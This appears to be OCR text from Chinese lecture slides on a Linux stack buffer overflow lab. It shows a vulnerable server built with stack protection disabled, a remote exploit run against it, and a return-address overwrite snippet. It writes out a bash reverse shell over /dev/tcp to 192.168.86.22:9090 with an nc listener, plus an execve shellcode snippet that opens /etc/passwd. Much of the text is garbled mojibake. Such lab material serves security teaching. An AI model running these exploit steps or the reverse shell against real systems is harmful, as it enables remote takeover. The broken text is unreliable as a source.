*(ps) = RETURN+0x100;

Lbuffer[LARGE_BUFF_LEN - 1] =

printf("The length of attack string is %d\n\tReturn address=0x%x\n",
strlen(Lbuffer),*(ps));
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* EREMVLIRIRE

gcc -fno-stack-prot

./vServer 5060

CIPHEHE 510.0.2.15) B — N & is IR T

FimfTvServer.c, ZER 4

ector -z execstack -o vServer vServer.c

OK: ./vServer is listening on TCP:5060

« HEREFUN A — P ZimdgiFFFizfTrexploit.c, ZERA:
gcc -o rexploit rexploit.c
Jrexploit 10.0.2.15 5060

The length of attack string is 1014

Retu

Linux shellcode

rn address=0xbffff020
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o XY, FEREIAYL L] IAE R vServertiia i FHIT T —

./vServer 5060

OK: ./vServer is listening on TCP:5060
Received 1014 bytes from client.

S

UL, ERMEMAIT . R BNR, Fh KRS
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ARG — iz shell i ¢

e 35— & [gshell
« ENEHENERIZITnCH BE— RS
ubuntu 22, IP:192.168.86.22° nc -lv 9090
. )Ejﬁaif;ellcodeiiﬂlbin/bash -i > /dev/tcp/192.168.86.22/9090 0<&1 2>&1H)
JJBE o
« BiRiTHFIshellcodeIFHin AR F a3 N X iam H RmiE
K arshell By G 24778 7R :
FERHRINERIEM (ubuntu 16) 1&47!
/bin/bash -i > /dev/tcp/192.168.86.22/9090 0<&1 2>&1
'ﬁff:: ( ) ?‘E)
* ®IT—>shellcode: EHE K& AVtcpiE i T HRYsocket, F+ B socket
9% N\ F % B B E (5] 2l /bin/bash Ay %y H A% A\ o s
* Wi XA e, 7 4F R 2 B #RBk 55 f tep & i Ay A\ Fl e
B 7E [6) 2| /bin/bash A% 1 A%\ .

ml

Linux shellcode
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3. ARG ORI HHRETR 7 ARESEEE AR, TEHA
EEEEMN (NERBARH) 7

- FAICE (HC2%S, %)
« 5—~Hgeditig < ¥] FF/etc/passwdfshellcode
* IR7R: X Hexecve[JIfE
char * envp[2];
envp[0] = "DISPLAY=:0";
envp[1] = NULL;
execve( name[0], name, envp);




